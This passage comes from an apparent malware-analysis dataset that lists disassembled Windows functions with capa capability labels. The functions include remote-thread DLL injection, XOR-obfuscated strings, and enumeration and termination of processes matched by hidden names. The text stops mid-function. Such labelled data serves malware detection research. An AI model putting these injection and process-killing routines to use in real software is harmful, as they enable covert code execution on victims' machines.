joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4de530
Capabilities:
Create directory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0640
mov eax, dword fs:[0]
push eax
sub esp, 0xb4
push esi
mov eax, dword [0x52a098]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
lea ecx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
cmovae ecx, dword [ebp + 8]
call fcn.004e96a0
test al, al
jne 0x4de64a
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push 0x51e158
call esi
push 0
push str.Object
call esi
push 0
push str.Item
call esi
push 0
push 0x51e16c
call esi
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
lea ecx, [ebp - 0xc0]
cmovae eax, dword [ebp + 8]
sub esp, 8
push 2
push eax
call fcn.0044cb20
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 1
call fcn.00449e60
test eax, eax
jne 0x4de5fc
mov eax, dword [ebp - 0xc0]
lea ecx, [ebp - 0xc0]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00446790
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push 0x51e170
cmovae eax, dword [ebp + 8]
push eax
call fcn.004bd880
push 0
mov esi, eax
push 0
push esi
call fcn.004bd799
add esp, 0x14
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push esi
push 1
push 4
push eax
call fcn.004bcee1
push esi
call fcn.004bbc11
add esp, 0x14
lea ecx, [ebp - 0xc0]
call fcn.00446d10
mov eax, dword [ebp + 0x1c]
cmp eax, 0x10
jb 0x4de65f
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.00445690
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0x18
Function at 0x4df2e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
movzx eax, cl
imul eax, eax, 0x9d
push edi
mov edi, 0x86d
mov dword [ebp - 4], eax
xor eax, eax
test ecx, ecx
jle 0x4df33e
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
sub ebx, ecx
nop dword [eax]
lea esi, [eax + ecx]
mov ecx, eax
and ecx, 7
inc eax
mov dl, byte [ecx + 0x53b348]
mov ecx, edi
xor dl, byte [ebx + esi]
sar ecx, 8
xor dl, cl
imul edi, edi, 0x87b
xor dl, byte [ebp - 4]
mov ecx, dword [ebp + 0x10]
mov byte [esi], dl
cmp eax, dword [ebp + 8]
jl 0x4df310
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4e0490
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b12c], 2
jne 0x4e04ef
mov edx, dword [0x53b260]
add edx, 0x68
cmp dword [edx + 0x14], 0x10
jb 0x4e04b0
mov ecx, dword [edx]
jmp 0x4e04b2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e04b6
sub ecx, esi
pop esi
je 0x4e04ef
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2ac], 1
mov dword [0x53b12c], 1
jb 0x4e04de
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e0500
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b128], 2
jne 0x4e055f
mov edx, dword [0x53b260]
add edx, 0x50
cmp dword [edx + 0x14], 0x10
jb 0x4e0520
mov ecx, dword [edx]
jmp 0x4e0522
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0526
sub ecx, esi
pop esi
je 0x4e055f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2a8], 1
mov dword [0x53b128], 1
jb 0x4e054e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e0570
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b124], 2
jne 0x4e05cf
mov edx, dword [0x53b260]
add edx, 0x38
cmp dword [edx + 0x14], 0x10
jb 0x4e0590
mov ecx, dword [edx]
jmp 0x4e0592
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0596
sub ecx, esi
pop esi
je 0x4e05cf
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2a4], 1
mov dword [0x53b124], 1
jb 0x4e05be
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret

Function at 0x4e05e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b120], 2
jne 0x4e063f
mov edx, dword [0x53b260]
add edx, 0x20
cmp dword [edx + 0x14], 0x10
jb 0x4e0600
mov ecx, dword [edx]
jmp 0x4e0602
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0606
sub ecx, esi
pop esi
je 0x4e063f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b2a0], 1
mov dword [0x53b120], 1
jb 0x4e062e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x4e0650
Capabilities:
Authenticate hmac
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x53b118], 2
jne 0x4e07a4
push ebx
mov byte [ebp - 0x10], 0x18
mov al, 0x57
xor al, byte [ebp - 0x10]
mov cl, 0x68
xor cl, byte [ebp - 0x10]
mov bh, 0x7d
mov byte [ebp - 0xf], al
mov ah, 0x77
mov byte [ebp - 0xe], cl
mov dl, 0x6c
mov cl, byte [ebp - 0x10]
mov ch, 0x76
mov byte [ebp - 0x35], 0x60
xor ah, cl
mov al, byte [ebp - 0x35]
mov dh, 0x36
xor al, cl
mov byte [ebp - 0x36], bh
mov byte [ebp - 7], al
mov bl, 0x71
mov al, byte [ebp - 0x36]
xor dl, cl
push 9
push 0
xor al, cl
mov byte [ebp - 0xb], ah
push 0
mov byte [ebp - 6], al
xor bl, cl
lea eax, [ebp - 0xf]
mov byte [ebp - 5], 0
push eax
push 0
xor ch, cl
mov dword [0x53b298], 1
xor dh, cl
mov dword [0x53b118], 1
xor bh, cl
mov byte [ebp - 0xd], dl
push 0
mov byte [ebp - 0xc], bl
mov byte [ebp - 0xa], ch
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
mov byte [ebp - 5], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
jne 0x4e079b
movaps xmm0, xmmword [0x520490]
mov al, 0x65
mov byte [ebp - 0x1c], 0x29
mov cl, 0x48
xor al, byte [ebp - 0x1c]
mov ch, 0x41
mov byte [ebp - 0x1b], al
mov dl, 0x5c
mov al, byte [ebp - 0x1c]
mov bl, 0x47
mov ah, 0x4a
mov byte [ebp - 0x13], 0
mov dh, 0x4c
mov byte [ebp - 0x13], 0
mov bh, 0x5b
mov dword [ebp - 0x24], 0x7c677d74
xor cl, al
mov word [ebp - 0x20], 0x3c76
xor ch, al
mov byte [ebp - 0x1a], cl
xor dl, al
mov byte [ebp - 0x16], ch
xor bl, al
mov byte [ebp - 0x19], dl
xor ah, al
mov byte [ebp - 0x18], bl
xor dh, al
mov byte [ebp - 0x17], ah
xor bh, al
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x1e], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x15
jb 0x4e0765
push 0x40
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x1e], 0
push eax
lea eax, [ebp - 0x33]
push eax
push dword [0x53b284]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret

Function at 0x4e07c0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x53b114], 2
jne 0x4e081f
mov edx, dword [0x53b260]
add edx, 8
cmp dword [edx + 0x14], 0x10
jb 0x4e07e0
mov ecx, dword [edx]
jmp 0x4e07e2
mov ecx, edx
push esi
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e07e6
sub ecx, esi
pop esi
je 0x4e081f
cmp dword [edx + 0x14], 0x10
mov dword [0x53b294], 1
mov dword [0x53b114], 1
jb 0x4e080e
mov edx, dword [edx]
push 5
push 0
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esp, ebp
pop ebp
ret
Function at 0x4e0830
Capabilities:
Create process on windows

Disassembly:
cmp dword [0x53b130], 2
jne 0x4e0882
mov eax, dword [0x53b260]
cmp byte [eax + 0x258], 0
je 0x4e0882
cmp dword [eax + 0xd8], 0
jbe 0x4e0882
add eax, 0xc8
mov dword [0x53b2b0], 1
mov dword [0x53b130], 1
cmp dword [eax + 0x14], 0x10
jb 0x4e0871
mov eax, dword [eax]
push 9
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
ret
Function at 0x4e1010
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
nop dword [eax]
push 0xfa
call esi
mov eax, dword [0x53af78]
test eax, eax
je 0x4e1030
cmp dword [0x53b200], 0
je 0x4e1030
push eax
push 1
push 0x1fffff
call edi
cmp eax, 0xffffffff
je 0x4e1030
push 0
push 1
lea ecx, [ebp - 1]
push ecx
push 0x400000
push eax
call ebx
test eax, eax
jne 0x4e1030
push dword [0x53b200]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e1660
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0964
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x38], 0
push 3
mov dword [ebp - 4], 1
call fcn.00451390
add esp, 4
call fcn.00451120
mov dword [esi + 0x10], 0
mov edi, eax
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x4e16d8
mov eax, dword [esi]
jmp 0x4e16da
mov eax, esi
mov byte [eax], 0
mov dword [ebp - 0x38], 1
test edi, edi
je 0x4e17f6
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
push 0x2712
push edi
call fcn.004557a0
add esp, 0xc
push 0
push 0x40
push edi
call fcn.004557a0
add esp, 0xc
push 0
push 0x51
push edi
call fcn.004557a0
add esp, 0xc
push 0x4e1830
push 0x4e2b
push edi
call fcn.004557a0
add esp, 0xc
push esi
push 0x2711
push edi
call fcn.004557a0
add esp, 0xc
push 1
push 0x29
push edi
call fcn.004557a0
add esp, 0xc
push edi
call fcn.00451160
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4e17ed
sub esp, 0x18
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x4e177f
mov eax, dword [ecx]
jmp 0x4e1781
mov eax, ecx
push 0xffffffffffffffff
mov byte [eax], 0
lea eax, [ebp + 8]
push 0
push eax
call fcn.004450f0
call fcn.004e7370
push ebx
call fcn.00451dc0
movaps xmm0, xmmword [0x520330]
sub esp, 0x14
movups xmmword [ebp - 0x30], xmm0
mov ebx, esp
xor ecx, ecx
movaps xmm0, xmmword [0x520190]
push eax
movups xmmword [ebp - 0x20], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x30]
xor byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 0x1e
jb 0x4e17c0
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x2f]
mov ecx, esp
push eax
call fcn.00444cc0
push ebx
call fcn.004e9770
add esp, 0x20
call fcn.004e7370
push edi
call fcn.004510e0
add esp, 4
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0x10
jb 0x4e180b
inc ecx
push ecx
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.00445690
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
Function at 0x4e2720
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 4
push 0x3000
push 0x104
mov edi, ecx
mov esi, edx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x4e27b2
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e2750
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x4e27ab
push 0
push 0
push ebx
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ebx, eax
test ebx, ebx
jne 0x4e27bc
lea ecx, [esi + 1]
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e2790
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x4e27b2
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4e27d6
sub esi, ecx
push 0x8000
lea eax, [esi + 1]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4e2830
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0abc
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dl, cl
mov eax, dword [0x53b260]
cmp dword [eax + 0x18], 0
je 0x4e2973
movzx esi, dl
lea ecx, [eax + 0xfc]
lea eax, [esi + 1]
cmp dword [ecx + 4], eax
jb 0x4e2973
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], esi
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0044ef40
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x3c], 0
jbe 0x4e2973
mov ch, 0x2a
mov byte [ebp - 0x12], 0
mov al, 5
mov byte [ebp - 0x18], ch
mov dl, 0x4f
mov dword [ebp - 0x50], esi
xor dl, ch
mov byte [ebp - 0x12], 0
mov ah, al
mov byte [ebp - 0x15], dl
mov edx, dword [0x53b260]
xor al, ch
xor ah, ch
mov byte [ebp - 0x17], al
mov cl, 0x44
mov byte [ebp - 0x13], ah
xor cl, ch
lea eax, [ebp - 0x17]
mov bl, 0x5d
mov byte [ebp - 0x16], cl
xor bl, ch
lea edx, [edx + 8]
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 0x14], bl
call fcn.0044b7b0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x50]
mov dword [ebp - 4], 0
mov ecx, dword [0x53b260]
push eax
lea eax, [ebp - 0x58]
add ecx, 0xfc
push eax
call fcn.0044ef40
mov eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x30]
add eax, 0x2c
mov edx, esi
push eax
call fcn.0044d750
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4e2926
mov eax, dword [eax]
push 5
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10
jb 0x4e294c
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.00445690
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], 0xf
mov dword [ebp - 0x20], 0
mov byte [ebp - 0x30], 0
cmp eax, 0x10
jb 0x4e2973
inc eax
lea ecx, [ebp - 0x48]
push eax
push dword [ebp - 0x48]
call fcn.00445690
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
Function at 0x4e4030
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
mov bl, dl
mov dword [ebp - 0x138], ecx
push 2
mov byte [ebp - 0x131], bl
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e40de
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
nop dword [eax]
nop dword [eax + eax]
mov eax, dword [ebp - 0x138]
lea ecx, [ebp - 0x10c]
nop dword [eax]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4e40c0
test dl, dl
je 0x4e40bc
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4e40c0
add ecx, 2
add eax, 2
test dl, dl
jne 0x4e40a0
xor eax, eax
jmp 0x4e40c5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e40ca
inc esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x4e4090
mov bl, byte [ebp - 0x131]
cmp edi, 0xffffffff
je 0x4e40ea
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4e4105
cmp esi, 1
setl al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
cmp esi, 1
pop edi
setle al
xor ecx, ebp
pop esi
pop ebx
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
Function at 0x4e4120
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4e4261
nop dword [eax + eax]
movaps xmm0, xmmword [str.W_54_b_362y2_2]
xor ecx, ecx
movups xmmword [ebp - 0x18], xmm0
nop dword [eax]
mov al, byte [ebp - 0x18]
xor byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 0xe
jb 0x4e4180
mov byte [ebp - 9], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e41c0
test dl, dl
je 0x4e41bc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e41c0
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e41a0
xor eax, eax
jmp 0x4e41c5
sbb eax, eax
or eax, 1
test eax, eax
je 0x4e4229
movaps xmm0, xmmword [0x520370]
xor eax, eax
movups xmmword [ebp - 0x18], xmm0
mov word [ebp - 8], 0x151e
mov byte [ebp - 6], 0
mov cl, byte [ebp - 0x18]
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0x11
jb 0x4e41e0
mov byte [ebp - 6], 0
lea ecx, [ebp - 0x17]
lea eax, [ebp - 0x11c]
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4e4220
test dl, dl
je 0x4e421c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4e4220
add eax, 2
add ecx, 2
test dl, dl
jne 0x4e4200
xor eax, eax
jmp 0x4e4225
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4e424b
push dword [ebp - 0x138]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4e424b
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x140]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e4170
cmp edi, 0xffffffff
je 0x4e4269
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
Function at 0x4e42b0
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push esi
push esi
push esi
push esi
push esi
push esi
push 0x220
push 0x20
push 2
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
push eax
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x4e4309
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x4e4311
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x4e4326
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov dword [ebp - 0x10], 0
test esi, esi
jne 0x4e433c
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x14]
xor ecx, ebp
pop esi
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
push 0x526b78
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], esi
push eax
call fcn.004b5f84
int3
Function at 0x4e6a10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0d6c
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
movzx ecx, word [esi + 0x27e]
cmp cx, word [esi + 0x27c]
jle 0x4e6ae7
movaps xmm0, xmmword [0x520410]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x60
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4e6a62
cmp byte [ebp - 0x23], 0
mov byte [ebp - 0x13], 0
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], 0
mov byte [ebp - 0x44], 0
jne 0x4e6a8f
xor ecx, ecx
jmp 0x4e6a9e
lea ecx, [ebp - 0x23]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6a95
sub ecx, edx
push ecx
lea eax, [ebp - 0x23]
push eax
lea ecx, [ebp - 0x44]
call fcn.00445910
lea ecx, [esi + 0x280]
mov dword [ebp - 4], 0
lea eax, [ebp - 0x44]
cmp ecx, eax
je 0x4e6ac9
push 0xffffffffffffffff
push 0
push eax
call fcn.004450f0
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x4e6ade
inc eax
lea ecx, [ebp - 0x44]
push eax
push dword [ebp - 0x44]
call fcn.00445690
mov byte [esi + 0x258], 0
jmp 0x4e6b09
mov eax, dword [0x53b260]
mov eax, dword [eax]
cmp dword [eax + 4], 0xffffffff
je 0x4e6b09
push 3
lea eax, [ebp - 0x2c]
mov word [ebp - 0x2b], cx
mov ecx, dword [esi]
push eax
mov byte [ebp - 0x2c], 2
call fcn.004dbd60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret

Function at 0x4e6b30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c
mov eax, dword [0x52a098]
xor eax, esp
mov dword [esp + 0x48], eax
cmp dword [0x53b5d8], 0x10
lea ecx, [esp + 0x14]
push esi
mov esi, 0x53b5c4
mov eax, esi
cmovae eax, dword [0x53b5c4]
push ecx
push eax
call fcn.004bcc1f
add esp, 8
test eax, eax
je 0x4e6b7e
xor al, al
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
cmp dword [0x53b5d8], 0x10
push 0
cmovae esi, dword [0x53b5c4]
push 0x80
push 3
push 0
push 2
push 2
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x4e6bb9
mov al, 1
pop esi
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
movaps xmm0, xmmword [0x5203e0]
xor ecx, ecx
movups xmmword [esp + 4], xmm0
mov word [esp + 0x14], 0x3a
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x10
jb 0x4e6bd5
mov dl, 1
mov byte [esp + 0x15], 0
lea ecx, [esp + 5]
call fcn.004e4030
mov ecx, dword [esp + 0x4c]
test al, al
pop esi
sete al
xor ecx, esp
call fcn.0049ca2c
mov esp, ebp
pop ebp
ret
Function at 0x4e6c10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4f0d99
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52a098]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x520430]
xor ecx, ecx
mov eax, dword [ebp + 8]
push eax
movups xmmword [ebp - 0x24], xmm0
mov word [ebp - 0x14], 0x78
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x10
jb 0x4e6c50
sub esp, 0x18
mov byte [ebp - 0x13], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x4e6c7e
mov eax, dword [edx]
jmp 0x4e6c80
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x23], 0
jne 0x4e6c8d
xor ecx, ecx
jmp 0x4e6c9c
lea ecx, [ebp - 0x23]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e6c93
sub ecx, esi
push ecx
lea eax, [ebp - 0x23]
mov ecx, edx
push eax
call fcn.00445910
lea eax, [ebp - 0x40]
push eax
call fcn.004e9770
mov ecx, dword [0x53b260]
add esp, 0x20
add ecx, 0x280
mov dword [ebp - 4], 0
lea eax, [ebp - 0x40]
cmp ecx, eax
je 0x4e6cd8
push 0xffffffffffffffff
push 0
push eax
call fcn.004450f0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
